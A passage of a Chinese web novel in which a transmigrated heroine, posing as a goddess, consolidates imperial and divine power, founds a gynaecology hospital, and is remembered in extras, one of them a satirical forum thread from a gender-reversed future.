她一介凡人又不是真神,不可能不露馅,也玩不过这群政治怪物。当时离开皇宫到处跑,一方面是为了救灾,另一方面也是为了不在试探中露马脚。
能被凡人算计的算什么神女?她可是还要在大周待很久的,到时候不小心被她们套路露出破绽了怎么办?
演这一出是为了给自己上个保险。
一来“恒娥仙君可以帮她”分担火力——到时候有不确定的只要故作神秘地看看月亮或提两句,就可以把问题甩给“恒娥”然后跑路啦~
二来……
她不懂下棋,难道还不懂掀棋盘吗?
姬荣以为自己算计了神女?
不不不,是神女不在乎她的算计。
姬荣自觉无所谓神女是否在意她的算计,只要从神女那里得到想要的就好?
不不不,她之所以得到,是因为这是神女“吃掉”大周之前的投资。
正所谓:所有命运馈赠的礼物,都早已在暗中标好了价格。(《断头王后》)
如今她们自以为算计来的好处,全都是将自己送上绝路的推手。
她们自觉可以揣测神明,以为太阴神君与巫山神女针锋相对,怎料大周气运才是巫山神女送给恒娥的礼物。
根据系统检测,姬荣那一秒心率飙升,又极速下降。
很明显,她也没料到神女搞这么一手。
除此之外还有一个更好的验证方式:
【叮——】
【恭喜你完成任务“心碎的声音”】
——此刻的姬荣表面平静,实则内心都是:难道你最开始接近我就全都是算计都是为了别人吗?难道神女当真未曾对我大周有情、想要庇佑我大周吗?
【恭喜你完成任务“到底谁才是你的小甜甜”】
——本来该是宠妃间争风吃醋的,现在嘛……
姬荣:你说啊!难道你全是为了恒娥、没有半点是为了我为了大周吗?
【恭喜你完成任务“背叛之爱”】
——还是姬荣:所以大周其实是你为了让恒娥觅得生机、给恒娥搭的祭坛吗?
可你有没有想过那是我为你准备的祭祀!
【恭喜你打出成就“爱是一道光”】
——按系统的推测,要打出这个成就宿主得绿了攻略对象养鱼,如今……
姒昭养没养不知道,反正姬荣觉得自己被“绿”了。
恒娥仙子与帝王姬荣之争,暂时是恒娥赢了(姬荣视角)。
【恭喜你打出成就“爱情不是你想买”】
——其实它原本有个更体面(?)的名字:追妻火葬场。
此成就一般为走虐恋情深恨海情天路线的宿主打出,如今嘛……
姬荣很恨海情天虐恋情深了。
而本该成为被虐对象的姒昭,她正在美美的收割奖励。
【恭喜你打出成就“训狗大师”】
——系统弱弱表示:虽然这个词用在姬荣和姒昭身上很奇怪,但是……如果这都不算“训狗”……
看着这一切的姒昭:……
“你们这个任务和成就的名称,很,风格多变、别具一格啊”
之前那些名称如“情深似海”“为伊消得人憔悴”都还挺正常,这次怎么这么……诡异?
系统:“咳咳,那当然,我们可是高科技产品,即使是相同的任务,也有多种完成方法,多种可选路线。”
比如什么妖妃路线啊,贤后路线的。
一般来讲每种路线会有对应的大致任务内容和成就内容,选定一条路的宿主通常难以打出与其任务风格不符的任务成就。
而姒昭……
系统表示她根本没想到姒昭的路子能歪到这个地步。
不过,积分奖励也是多多的就是了。
但除此之外,
“宿主啊,你要不要去看看姬荣?”
“她都快碎了”
快乐领奖励抽衣服的姒昭:“你想多了,她可是姬荣,哪有那么易碎。”
这样的铁血皇帝,怎么可能为了这种事就碎掉呢?
她这个神女还在这里,就在这里,她们还有机会从她身上撕下肉来吃掉,怎么会做掉眼泪这种此刻无用的事?
她们只会想吃了她。
听到宿主给出解释的系统:
“那你还那么淡定!”
这难道比姬荣碎掉更好吗?怎么看都是从一个极端走向另一个极端吧?!
那可是“被吃掉”这样
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恐怖的事情哎!
姒昭表情无辜地耸耸肩,将手一摊:
“可是,谁又告诉她们,我是可以被吃掉的【兽】了呢?”
这一秒,系统觉得自己的程序卡了一下。
从最开始假扮神女起,这似乎就是一场博弈。
神女与帝王的博弈。
她们好像在把彼此当做可狩猎对象,当做丛林里奔跑的【兽】,要决出最后的猎人。
帝王要从神女身上获利,要撕咬下神女的血肉供养自己、供养整个大周。
而神女必须不能输,要一直赢,且必须是漫不经心的赢,神必须以压倒性的姿态碾压凡人,如此方才为神。
可是……
她们本来就不是神女啊。
是不是假扮的久了,系统自己居然也迷失在“神”的幻觉里,忘记了她们的身份其实一直是【任务者】、【欺诈者】。
欺骗整个天下的人。
姒昭从最开始起就在主动给出利益,姬荣知道的不知道的,想要的或没想到可以讨要的,姒昭全都给了。
姬荣自觉在狩猎,自觉这是一场博弈,可事实上,是姒昭一直在主动给予。
不是“神不在乎”,是“人在给予”。
棋盘上姬荣没有敌人,姒昭也没有,甚至根本没有棋盘。
根本没有【兽】。
有的只是“宠妃任务”的任务者,换装系统的宿主。
想通一切的系统突然和姬荣有了同一种恐惧,明明之前她还在为那些好笑的成就名称发笑,觉得姬荣怎么自己吓自己。
但这一秒,她也开始恐惧。
到底什么是“有”,什么是“无”,什么是“真”,什么是“假”。
她的宿主,究竟是什么样的存在?她真的了解宿主吗?
姒昭拍了拍脸:
“好了好了,我们还有工作没做完呢”
“我刚刚说的呢,其实有三点,分担火力、掀翻棋盘只算两点,还有很重要的一点没说呢”
她戳戳系统:
“统统啊,你有没有想过,封建时代的皇帝,同时把君权和神权握在手上,会是什么样?”
系统:?
系统:!!!
系统猛然想起一个在她们的谈论中被忽视的人——姬婋!
*
皇城近日来无比热闹。
她们随神女一同上天,得见天上奇观。
醒来又闻男人下那阿鼻地狱走了一遭,又是上刀山又是下火海,还有更多男人——把女人受的苦经历了一遍!
不算多,经历的也不算全,只体验了痛经、怀孕的艰辛、生孩子的痛苦、生孕后的种种不适,只是这些,他们就受不了了。
对此,女人们表示:成天说自己流血不流泪,如今尿裤子,哼,天残,我们女人鄙视你们。
但如今,没有哪个女人会过多地把目光放在男人身上。
她们更愿意谈论自身。
于是女人不可避免地谈及恒娥仙君,谈及被恒娥钦点的祭司姬婋。
敏锐的人已经意识到了:
姬婋为今上独子,是名正言顺的下一任皇帝,可祭司一职又是神明钦定的……
从前还好说,祭祀不过礼节。
可如今的大周,真神降世,于是这一切都不是单纯的礼节。
凡人狂热的信奉救她们于天灾的神,皇室贵族费尽心思祈求神的垂怜与恩赐——尤其姬荣重返青春后。
这样浩大的权柄,被一个人握在手中已是难以想象的事。
更遑论这个人未来还会掌握皇权。
姬荣不就是最好的例子吗?
巫山神女青睐,自己又是皇帝。
那样强盛的权柄加在一起,已是让这些贵族苦不堪言,天下真真切切地在围绕着她的意志旋转。
很难想象,这样的时代将在姬婋身上继续延续。
风起云涌。
*
凡人能想明白的事,人工智能当然也能想明白。
系统简直要尖叫。
而姒昭只是淡淡地望着她。
“所以你明白吧?”
姒昭望着系统道。
“我做这一切,只是因为我在汇聚权力”
“前所未有的,封建时代里最顶峰最强力的两种权力,我要把它们汇聚在一起”
“我有我要做的事,要做成的话,那需要很强大的力量才行”
天灾在慢慢结束,但新秩序还没有达到她期望的程度。
姒昭很明白人这种智慧生物的本性,没有了外在的高压,没有了特定的环境,她们不会那么乖顺的。
她可不想听到不喜欢的声音。
必须让“女男平等”成为常态才行啊。
所以她需要一个“暴君”。
一个能强硬更改秩序、让一切按着她的想法运行的强权君主。
既然她以神的身份存在这里,那么“神”也是可以被利用的。
所以姬婋会成为祭司。
和她的母亲一样,握着皇权,也握着神权。
神会为君主加冕,使世间的一切按自己的意志施行。
36.未来可期
神女带领皇城众人往天上一游的影响远不止于此,这件事也远远没有结束。
在她们激动地讨论着鲲鹏、神兽以及天上神仙的时候,天上的明月如往常一样静静悬着,凡间却供奉起了与过往截然不同的神像。
——恒娥仙君的神像。
自巫山神女降世起,有关这位神明的信仰爆炸式增长,不说朝廷,便是凡间也家家请神像、户户私祭神明。
但如今,官府开始给另一位神明立身塑像,在某些地方甚至可以看到这位恒娥仙君的像与巫山神女的神像供奉在一起,亲密无间。
由于那日后半段幻境主要是给姬荣姬婋以及朝中重臣看的,姒昭并未细化其她人的这段梦境,只需要让她们知道“恒娥与皇帝公主接触过”、“公主是姮娥仙子的祭司”就行。
因此,百姓大多云里雾里,不清楚具体发生了什么。
其中不乏有人懵懵懂懂地表示之前祭祀上恒娥不是与巫山神女不对付吗我们为什么好祭祀她,也有人质疑官府这是在搞什么。
但架不住此时有另一件更吸引眼球的事发生。
比起暂时得不到答案的寺庙神像一事,百姓们更关心皇帝设立的新节日——月经节!
节日嘛,肯定不是随便就可以设立的,必须是因为某些大事、带有某些意义才行。
因此最初听到设立的新节日是月经节时大家还愣了一下:
“啊?这种事情也要过节啊……”
“这不纯胡闹么……”
“嗐,哪个女人不来月经,这种事怎么还专门设立个节日啊?”
“就算设立了,我们该祝对方安康还是快乐?要怎么过这个节?”
……
诸如此类的言论并不在少数,百姓中大多数人确实难以理解这有什么好庆贺的,但其实不止她们有疑问,甚至于最先问出这些问题的,恰恰是权力最中心的朝廷重臣。
朝臣们最先得到这个消息,也最先为此感到讶异。
为神女提出设立这个节日而诧异。
然而彼时神女的目光沉静,声音淡然中又似乎带了一丝真切的疑惑:
“承载创世圣者娲皇的神力,以凡人之躯掌握创造生命的能力,拥有更加悠长的寿命健康的体魄,这居然是不值得庆贺歌颂的吗?”
听此言者心下大动,俯身下拜。
于是,神女的话语再一次随风传到了民间,传到每个人耳中心中。
*
姒昭面对她人疑问时能云淡风轻地回复,独身一人(一统)时却无法像面对外人那样自在淡然。
“啊啊啊!可恶啊!”
系统空间内,姒昭往床上一扑,狠狠把光球形态的系统搓扁揉圆。
她恶狠狠地表示愤怒:
“居然还问我为什么设立月经节,都能问出这个问题了还问为什么!”
“等到女人什么时候能像男人那样不管三七二十一只要对己身有利无论如何先接受、不管为什么夸只要是在赞美自己那就理所当然昂首挺胸接受那一刻再说吧!”
她忍不了了!
明明这场全方位的革新已经成效突出,怎么还会在对自己有绝对利益的情况下不先接受而是反省“配不配”“为什么”啊?
系统弱弱出声:
“要被压扁了……”
姒昭连忙松开手:“抱歉统统,我不是故意的。”
光球重新变回圆球形态:
“咳咳,其实没事。”
“就是啊,我们的‘妇科诊室’真能开起来吗?”
提起这个姒昭就干劲满满了:“那必须行!”
*
大周史上第一个月经节其实是推迟庆祝了的。
因为按照日期,月经节真正的日子应该是与巫山神女带众人往天上一观那一天,只是如今那个日子过了,神女也并无拨转日月的想法,故而庆祝这第一个月经节的日子实际上往后延迟了。
皇城内张灯结彩、喜气洋洋。
雕刻着山河日月、飞禽走兽的车架穿行于繁华街道上,最前头拉车的生物通体雪白、背上生翼、头上有角。
路上来来往往的行人不自觉将目光放在上面,再次谈起降临在人间的奇迹:
“头上长角,这是獬豸吗?”
“可没听说獬豸背上长翅膀啊?”
“怕不是未经记载的新奇异兽?”
“天上之事,人间哪能全知啊”
由于换装系统内一切服装自带的闪耀特效加之独角兽长相奇特,它们意料之内的吸引了百姓们的目光。
不过更重要的是……
“所以洛京妇科医院到底是不是真的免费看诊啊?”
“你说那医院看的是妇科,到底啥叫妇科?那大官儿解释了一堆我也没听懂啊”
“嘶,不知道啊,不过我听说负责看诊的人里有陈兰芝陈娘子,冲着这个我就放心”
——听到大姐这句话的百姓们瞬间像吃了颗定心丸似的,原本焦躁不安的心平静了许多。
圣洁的独角兽朝着既定目的地走去,最终停在了庄重巍峨的宅邸前,部分人早早守在这儿,部分人想看热闹才随独角兽走到这儿,但无论哪一种,此刻都屏息凝神,神色认真。
直到那块皇帝亲手题字的牌匾被板板正正地放置好,穿着官服的使者打开大门,庄严宣告洛京妇科医院的成立,同时又在月经节期间,并且将持续免费看诊一个月。
围观的人面面相觑,第一个问题是:
“那个,妇科是什么?”
对此,接待者微微一笑,道:
“是专治妇人之症的意思。”
“具体的,您可以选择看看我们发的册子,或者听一听广播,向医师询问,我们会一一解答。”
“嗡——”
接待者话音落下,熟悉又陌生的嗡鸣响起。
有人条件反射性地捂起耳朵,又抬头寻找声音的源头。
她们记得这声音,此前的皇城也出现过,那是……与神女有关的声音。
果然,下一秒,温和沉稳的女声响起:
“月经是女性生殖系统周期性变化的生理现象,主要表现为子宫内膜脱落并伴随出血,经□□排出体外……”
“月经血不是毒素,是正常的子宫内膜和血液……”
“剧烈疼痛、经期超过10天或周期短于21天/长于35天则需注意,必要时请及时就医……”(注)
熟悉的,回荡在城中今日的公告。
声音嘹亮无比。
城中有,新开张的医院自然也有。
众人巡了一圈依旧没找到声音源头,却也不觉奇怪了。
总之是神仙手段嘛。
倒是提前排好班的医师助手上前道:“这位大姐,您不妨进来瞧一瞧?”
“神女及陛下有言,头一个月,我们妇科医院都是免费看诊”
“就算不看病,您有什么关于妇科方面的疑问,我们也好给您解答”
除了医师助手,从前便在民间开药坊当医师、专治女子之症的诸位女医更是一马当先打头阵,纷纷示意老顾客进来看看。
最终,有人迈出了第一步。
她们可以选择去看放置在架子上的册子、张贴的纸张,也可以选择问医师助手或医师本身,甚至可以谁也不问,不踏进医院大门,只是从城中无处不在的定时语音里汲取想要的信息。
关于“妇科”,关于“女子之症”。
而在那之后,会有更多医馆为女子而开。
*
姒昭:“耶!”
系统:“所以她们知道什么是‘生殖系统周期性变化’,能理解什么是‘子宫内膜’了吗?”
姒昭:“应该能?我在公共展区放了我描的人体模型图和人体解剖图,还标了哪是哪呢。”
系统:“那我们放的录音机里更复杂的专有名词怎么办?而且你确定那些医师能搞定一切吗?”
姒昭表示要积极向上:
“懂不懂专有名词不重要啦,重要的是治病救人”
她本来也没指望她们搞懂专有名词,开玩笑,她自己不也不懂?否则她怎么会只能做个无情的誊写机器只是把系统资料库的东西誊一遍?
只要不是专业人士,谁敢说自己懂?
重要的是把专业知识扔给专业人士,让她们自己琢磨头疼;再把病人逮进来,一个个给她们好好治治。
想起医师们为了能让妇科医院正式开张而在背后啃姒昭给的“天书”的痛苦表情,姒昭露出小恶魔式笑容。
她努力收起脸上的幸灾乐祸:
“哎呀人家那可都是有丰富诊疗经验、提前进宫培训过的医师,现在都有了质的飞跃,肯定能把每个人都治好”
“如果有实在没办法的……”
说到这,她脸上的笑容又淡了下去。
“实在不行,我会出面”
“我可以给那些实在痛苦的病人换装,虽不能达到治病的效果,但至少可以减轻痛苦,让这病不影响她们正常生活”
就像在之前的天灾里给身处疫病中的医师、病人换装,以“光彩照人”的基本属性保她们健康一样。
如今她的精神力更强大了,能保护的人也更多了。
真可怕,不管此时的大周还是她所在的世界在这一点上都达成了惊人的一致,古时的妇人之症无人愿医无人重视,她的世界里妇人之症依旧被忽视。
最普遍的如痛经,这种连人都弄不死的病症,居然“顽强”的存在了那么久,没人去解决它。
就像一道题,不难,但没人解决,因为不重视不在意。
而女人必须忍受这种持续性的痛苦。
而这只是“妇人之症”中的一种。
系统:“可能因为我只是初出茅庐的系统,你们人类社会的很多东西我都不太明白”
“但是宿主,我不想持续性的疼痛
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出现在你身上”
她不是人类,不是碳基生命,不理解人类社会的很多规则,不知道痛经是什么感觉,但是看着资料库里那些内容,看着痛经的女性惨白的脸和寡淡的唇色,甚至有人痛到不得不去医院,她发自内心地不希望自己的宿主有相似的经历。
她不理解为什么在人类社会里这些可以被一句“哪个女人不这样”掩盖,她支持姒昭把这一切变成“没有女人不得不经历这种痛苦”。
听到她的话的姒昭:
“哎?所以你会支持我在大周发展妇科事业对吧?”
系统:“当然……等会儿?你这么干真不会崩神女人设吗?”
姒昭:“咳咳,当然不是我要亲自去研究妇科啦,我又不是专业人士”
自己有几斤几两她还是清楚的,与其指望她这个小白辛苦自己,不如把一切交给大周专业人士辛苦她人。
“你懂的嘛,我们这一路走来又是教种地又是救灾又是抓方士搞化学又是搞妇科的,副业比较广啦”
“那为了能把这些都做出一番成绩,把大周建设成美好大周,在完成任务后,我们可能,咳,要待的时间会久一点”
系统无所谓,能有多久?
昂首挺胸的系统:“可以可以,待久一点也行啦。不过现在不着急这个,你不是连任务都没完成吗?”
姒昭,姒昭朝她露出一个微笑。
第二天,朝会上又多了把椅子。
不过此时的大臣们已经不会再因此惶恐了,看到陛下被挤到那把椅子上,神女照常端坐龙椅之上,她们心中居然升起某种诡异的念头,觉得……这才对嘛。
同一时刻,熟悉的提示音响起,却又有些不同:
【叮铃铃,恭喜你——】
【恭喜你打出成就“二圣临朝”】
【恭喜你打出成就“此间易主”】
【恭喜你打出成就“明君贤后”】
【恭喜你打出成就“心悦诚服”】
【恭喜你得到攻略对象的无上宠爱,完成宠妃任务】
【请问是否选择脱离世界?如选择否,可自行选定脱离时间】
姒昭:【否】
系统:?
系统:“就这么自动播报完了?就这么达成了?不是,怎么搞的?”
姒昭:“那个,有没有可能,以我们干的事情、完成的主线支线任务数量、打出成就的数量,早该被判定为任务完成了?”
毕竟有句话叫量变引起质变。
她之前就隐约预感任务即将完成,只是没想到,这么快。
这边系统还在扒拉成就和任务的具体说明:
二圣临朝:姒昭都坐龙椅坐那么久了,上朝累计一下都上了那么多天了
此间易主:划重点,姒昭坐的是龙椅。要不是系统检测到姬荣还是皇帝,她们估计都能走宠妃任务“虐恋情深”路线的特殊成就“兵临城下”了。
一般套路是什么公主×帝国将军/皇子什么的,话本子里这种类型很多的。
明君贤后:……一时不知道谁是君谁是后,但是总之已经被判定为君/后啦!
心悦诚服:姒昭成功攻略了姬荣、姬婋、大臣以及百姓,现在好了,大家对于她坐龙椅这件事都觉得正常了。
看完这一切的系统扒着最后那个“得到了攻略对象的无上宠爱”,眼珠子都要瞪出来了。
你说谁得到了谁的无上宠爱?你再给我说一遍!
但目光瞟到末尾那个“宠妃任务”,系统又不自觉一哽。
……好像是她自己发布的“宠妃”任务哈……
绝望地闭了闭眼,系统表示最开始叫着要让宿主当宠妃那个笨比绝对不是她。
是姬荣她们攻略她的宿主,嗯对,一定是这样。
然而还不等系统调整好心态,姒昭道:
“统啊,你说过我可以在这里多待一会儿的,那我们可就要住下了哦”
还不知道姒昭将说出什么的系统:
“当然”
“对了,你准备待多久?”
姒昭:
“也没有很久,差不多……等姬婋死后我就走”
系统怀疑自己的耳朵:
“谁?”
姒昭刚说的其实是姬荣吧?
姬婋?别开玩笑了,要是是姬婋那不意味着她们至少也是百年后才能离开吗?
然而姒昭正认真地望着她:“姬婋”
“我会像帮姬荣一样帮她的”
系统,系统两眼一闭,绝倒。
可是姒昭不会这么轻易放过她。
只听宿主的夺命连环call在耳边响起:
“别晕啊统,不对你是系统不会晕倒,难道没电了?话说你不是不需要充电吗?”
“总之你先起来,我们的多种种地方法妇科知识细则化学知识生物书籍养猪养鸡养羊种树论水稻与青蛙鱼苗鸭子的共生等还没拿出来教给大周呢!”
37.番外:彼岸与月亮
姬荣死去的时候还保持着年轻的模样。
明明已经是衰老到走到了人生尽头的时刻,样貌却还那么年轻。
一如,神女的手第一次抚上她面颊的时候。
长生难求,神女赐她不老。
可是长生不死难求。
纵使是拥有一切的帝王,在面对死亡时也束手无策。
唯有那真正超脱了时间的,能亘古长存。
烛火摇曳,姬荣抬眼,看见了神女。
人是能预感到自己的死亡的。
所以姬荣在召见过她的臣子、她的女儿后,屏退了所有人,她不愿意她们看见她死去时衰弱无力的模样。
还有,一定要说的话,在人世的最后一段时光,她想留给巫山神女。
神女并不总是驻足于皇宫。
她来去如风,自由飘渺。
姬荣有时候会凝望着神庙里那樽神像出神,她神像面容的熟悉已超过对神女的熟悉了。
可神女又从未真正丢弃过她们,她总在她们需要时出现,给出藏匿了无数宝贵知识的天书,于危机时救人性命……
因此姬荣确信神女会在这一刻出现。
神女慈悲,会满足她这个将死之人的心愿的。
果然,神女来了。
光影交错,神的衣摆迤地。
姬荣抬头看着姒昭——这是这位帝王漫长的一生里,在面对这位神女时最纯粹大胆的时刻。
该算计的早算计过了,该守的礼法守了那么多年了,在生命的尽头,她望着神明的目光纯真如稚子。
那种神情就好像下一秒会在她的神像前盈盈下拜,带着纯真的笑容说:神女,春天来了,外面的花都开了,阳光也很好,我希望你能站起来去外面走一走。
也许也只适合说这个。
距离她们的初见过去了那么久,她这个仰仗神女神力才得不老神迹的人已经被死的阴影笼罩,可神女还保持着初见时的模样。
时间在她身上停止了流逝。
姒昭也在望着姬荣。
她的攻略对象,她的搭档,以及在某种程度上的,她的信徒。
姬荣看她的眼神总给她一种奇异的错觉,就好像她不是单纯地在看“巫山神女”这个符号,而是……在认真地去看某个,切实存在的人。
在看“姒昭”。
可是人生在世,身份与面具本就一层套一层,最终融在一起不分彼此,任务者是她,巫山神女也是她。
所以这一秒又有几不可闻的水声响起,姬荣低下头,看见一朵花落在水面上,漾起圈圈涟漪。
花赤红,无叶,名曰彼岸。
于是不必说什么,姬荣便知道这是神女的意思。
生命的尽头,神女亲自送她去往归墟,去往她的彼岸。
如此就好。
寂静宫室里,帝王的手无力垂下,指间握着殷红的花。
帝崩。
新皇继位。
*
与姬荣相比,姬婋更为熟悉的却是恒娥。
那一年月宫仙子轻轻一指,便将她与天上明月绑在了一起。
也,将她推上了权力的顶峰。
在神明降世的时代,她是皇帝,也是祭司,这是何等殊荣。
巫山神女本就行踪不定,自她母亲死后留在皇宫的时间就更少了。
她翻阅着那些天书,看着因巫山神女而诞生的坚船利炮,土地里产出的种类多样、颗粒饱满的粮食,遍地开花的妇科医院,还有那越来越辽阔的国土……
野心被填满之时,偶尔,只是偶尔,她会有一点愱忮。
愱忮什么呢?
愱忮巫山神女踏足凡尘的第一秒将目光投给了她的母亲,而恒娥对她却并非如此;
愱忮巫山神女总能看到她的母亲,恒娥却连将一个眼神投向凡间都吝啬;
愱忮巫山神女愿意坐一坐母亲的龙椅,恒娥却始终如那月亮一般高高悬在天上……
姬婋和姬荣是不一样的。
姬荣是从一众皇男里厮杀出来、亲自操刀改变这个男权世界的人,换而言之她是从苦难里淬炼出来的,可姬婋不是。
姬婋出生的时候她母亲已经是说一不二的皇帝了,到了大一点,又有巫山神女降世,有恒娥仙君钦点她为祭司。
姬婋是在无边权势里长大的。
她想要继承母亲的事业,让一切更上一层楼,于是她去狩猎疆土,
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一直到海的那边;她去狩猎贤臣,充盈朝廷;去让百姓过得更好,做到小邑尤藏万家室……
她几乎得到了一切。
——除了月亮。
她是月亮的祭司,从及笄那日就是。多年以来她在月下以歌舞悦神,亲自主持祭祀,从十五岁就开始旋转的裙摆直到今天仍未停歇。
可恒娥永远,永远,吝啬于给予回应。
起初姬婋未必有多么在乎恒娥的回应,可是她偏偏见过巫山神女回应她的母亲,她的成长旅途又顺风顺水。
那么唯一得不到的,就成了执念。
为什么不回应她?凭什么不回应她?
她是人间的天子,无上的帝王,她躬身为祭司为月亮起舞歌唱,那月亮也理应只照耀她一人。
因此当死亡来临那一刻,她并不恐惧,甚至对此感到兴奋。
她记得母亲去世时素来无影踪的巫山神女再次出现,记得母亲指间那抹殷红的色泽。
她会有机会在归墟里抓住月亮的衣摆吗?
那一刻这位帝王眼中迸发的光彩,几乎让系统恐惧人类的情感和执念。
“真是……可怕的野心”
系统这样评价道。
火一样炽热霸道的野心和欲望,几乎要把月亮烧死。
而姒昭只是看着,微笑着对系统道:
“可终究不过水中捞月”
于归墟之水寻月,本就是一场空。
于是系统看见,无边幻境里,姬婋伸手去抓恒娥那月白的披帛,却无意间触碰了水面,恒娥的身影便在波纹里破碎。
茫然愤怒里姬婋惊怒交加,直到某一刻抬头,看见月亮一直照着她。
奇迹般的,姬婋的心慢慢平静下来。
早在她成为祭司之前不是就知道了吗?
月亮会照耀大周,是整个大周,而非单独一人。
这是大周的幸事,能得两位神明的垂青。
而对于她,对于她……
月色如水,姬婋望着那轮明月,忽而一笑。
她这一生,唯有那么一个瞬间,月光真真实实地只照在她身上。
那是故事开篇,恒娥素手轻扬,于万千人里选择了她。
38.番外:后世
【今日话题:扒一扒历史圈那位古往今来第一流量大姥】
明熙看到帖子的第一秒就手比脑子快一步直接点进去了。
原因无她,能用带女字旁的“大姥”而不是普通常用的“大佬”来形容,又是“历史圈”“古往今来第一流量”,除了那位没别人。
果然,点进去后这条帖子下面的评论在以惊人的速度增长。
“我还是想知道世界上到底有没有神仙啊……求求考古界历史界加快进度,官方快发声明,我要修仙啊啊啊啊!!!”
“楼上的,你还想历史界和考古界怎么加快进度(捂脸笑jpg),史书不都已经记载的清清楚楚明明白白了吗?”
“(无奈叹气jpg.)回楼上,可是那个史书记载也太像野史或者玄幻小说了吧……那谁敢信啊?”
“是啊,那个史书记载也太抽象了,别说官方,我这种平头百姓看了我也不相信”
“很难想象我能在史书里看见巫山神女、恒娥仙君、归墟、旱魃、蛟龙这些玄幻的东西……”
“起猛了,以为自己把史书带成小说了”
“我都能想象到官方编写教科书的时候有多头疼了(大笑jpg.)‘这个到底要不要放教科书里’‘放进去显得像我们疯了,可不放大周历史得缩水一大半’,我想想她们的表情就想笑哈哈哈哈哈”
看着网友的评论,明熙忍俊不禁。
谁说不是呢?
想当初她上历史课的时候看着教科书上的内容也觉得魔幻,这些充满神秘色彩、仿佛小说一样的内容居然出现在课本里。
更神奇的是,作为千年前的古人,这位巫山神女几乎可以算是天下之师,什么有名的化学家、生物学家、农学家、火铳之母等等都和这位有着千丝万缕的联系,或是在她的指导下有所长进,或是读了她赐下的天书而茅塞顿开。
甚至是历史上著名的出海开辟新地域也有这位神女的手笔在其中,史载巫山神女赐下天衣使出海者短暂进入仙人辟谷的状态,又护出海者遇海难而不死,其余人在神女的指引下找回分离的同伴……
更不必说在这之后周朝开疆拓土统一全球之际史书里关于神女的记载,什么未卜先知提前预知地敌方动向、本已经空荡荡的粮仓突然间被粮草填的满满当当……这些都是基础操作。
这就是为什么网友说“删去巫山神女就是删去大半周史”的原因。
这位巫山神女在周朝的百年里,周的发展速度简直像坐着火箭往前飞。
有了丰饶的土地、高产的种子,又搞出了火铳炸药一类热武器,大周打其它国家简直是降维打击。
皇帝姬荣在位期间打下了全球三分之一的领土,剩下那三分之二在姬婋上位后尽归大周。
后世的发展与繁荣很大程度上是有这两朝在托举的,更别提后世所用的很多东西都与巫山神女有关。
一切看起来无比魔幻,但不得不说,由于这些内容实在有趣,她们班很多同学有兴趣去学习,大多数人的周史都学得挺好。
再看评论区,有趣的发言还在继续:
“嘶,你们说有没有一种可能,巫山神女她其实是个骗术高超的大骗子呢?”
“说不定她只是个凡人,只不过骗术卓越,把皇帝骗过去了而已,那些所谓的神迹要么是她的骗术,要么只是她运气好,天时地利人和,以至于大家都误以为那些自然奇观是她的仙术了,长此以往,大家就容易把生活中的巧合误以为是神女保佑”
“比如史书记载的那场祭祀里‘大地忽然被黑暗笼罩’,我们现在都知道那其实只是日食而已”
该说不说,这话说的挺有道理的,可是……
“那我问你,史书记载她会飞算什么?”
“那我问你,史书记载巫山神女的形象为半人半兽算什么?这怎么装?”
“那我问你,天灾之下大周各地的神迹算什么?你现在给我找个能离开水在空中一直飞的鱼来我看看?”
“那我问你,史书记载的天上一日游算什么?算她给全城人民磕了致幻剂吗?”
“那我问你,史书记载她熬死了两个皇帝结果自己还没老算什么?这能是一句简单的驻颜有术能解释的吗?”
“看历史你总不能抛开史书看吧?这些可都是正史记载的事件”
这就是整件事情魔幻的地方。
史书的记载里明确记载的事件绝非凡人能做到的,也绝不是一句骗术高超可以解释的。
要么史书胡编乱造在撒谎,要么真有超自然力量存在。
而能得出任意一种结论,看起来都像得出结论的人疯了。
更疯狂的是,这就是事实。
看到网友的回复,提出巫山神女有没有可能是骗术大师的那个人表示自己还有话没说完:
“哎哎哎——你们听我说完啊”
“我是说她是骗术大师,但没说全。我的意思是,她有没有可能是穿越者,带着更高科技的技术穿越回大周,所以才能这么丝滑地把所有人都骗了”
“或者她其实是外星人,带着高维科技来观察人类,做的所有事情都是外星人对蓝星的实验”
明熙正思考着这位网友的发言内容莫名觉得好像还挺有道理。
然而把帖子往下一滑:
“那腾蛇和恒娥是什么?天宫里的那些仙人异兽又是什么?”
“总不能集体穿越了吧?”
“外星人做实验就更离谱了,谁家好人做个实验还把朋友宠物甚至天宫景象一起搬过来啊(笑哭jpg.)”
明熙又一想:嗯……好像也有道理。
“要我说,人家史书都记载了神仙的存在,说不定就是真的有神仙存在啊”
“emm……其实我也这么觉得,说实话很多人看过那宛如神话故事的大周史书后都有这种想法”<
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p>“甚至它还能逻辑自洽……”
说起这个,一直窥屏的明熙也忍不住发评论:
“谁说不是?史书记载自古以来都是女人掌权,若非天残不自量力,仗着皇帝的宠爱干政,以至于娲皇震怒,上天降下灾难惩罚人类,那时候也不会有那么多女人在天灾里死去”
“还是那一任皇帝太善良太过宠爱那男侍,否则怎么会有这么可怕的天灾,真说起来我们女人都是被这群天残牵连的”
她虽然不太懂历史,但这些基本常识还是知道的。
比如从小就知道古往今来都是女人掌权,历史长河里从未有过男人真正成为统治者一说,毕竟男人天生弱势不理智,根本干不了这类活,只会把事情搞的一团糟。
——她可不是厌男,她们这里已经足够女男平等了,作为从小接受了十二年义务教育、听着大女人故事长大的她,三观正的不得了,怎么可能厌男?
她只是在陈述客观事实而已。
她的评论一发出去,得到了很多人的赞同:
“谁说不是?”
“明明就是从女人肚子里出来的,唯一的价值也就只有提供优质精子供愿意生育的女人选择,怎么就不懂得安分点?”
“尤其某些男人老叫着要增加就业岗位要工作,我说这群天残工作得明白吗?大周那个干政的男侍招来了天灾还是姬荣陛下和神女娘娘帮忙解决的呢(无语jpg.)”
“男人一思考,姥天就发笑”
“哎哎哎,楼上的,说不准诸位男士就想学那位男侍呢,多半是借着工作的借口去勾搭上司(懂的都懂jpg.)”
“也有可能,毕竟天残也就那点心思了,他们靠自己能成什么事?还不是都想走捷径找个好女人赘出去,或者扒着家里的妹妹给妹妹带孩子,姐妹们可得擦亮眼,就算想不开要赘人也不能赘这种男人”
“现在谁还想赘男人啊,想要孩子的最多去领养个小女孩或者去精子库狩精,男人这种累赘,从古到今都不受欢迎”
“其实也不是所有男生都这样”
聊的火热的评论区突然出现一条与众不同的:
“也有很多男生是很懂事很爱女友的啊,比如我,我就是那种不拜金也不在意女友外貌的男生,我的择偶观就是对方对我好就行了”
下面的网友很快回复:“你没事吧?”
“看看腿”
“好男人,值得一透”
“我是女的,加我”
“这不是历史向帖子吗?怎么还有男的混进来?男的也懂历史?”
“楼上的姐妹单纯了哈,这种一看就是进来找存在感的吊子,你小心别被他盯上给骗了”
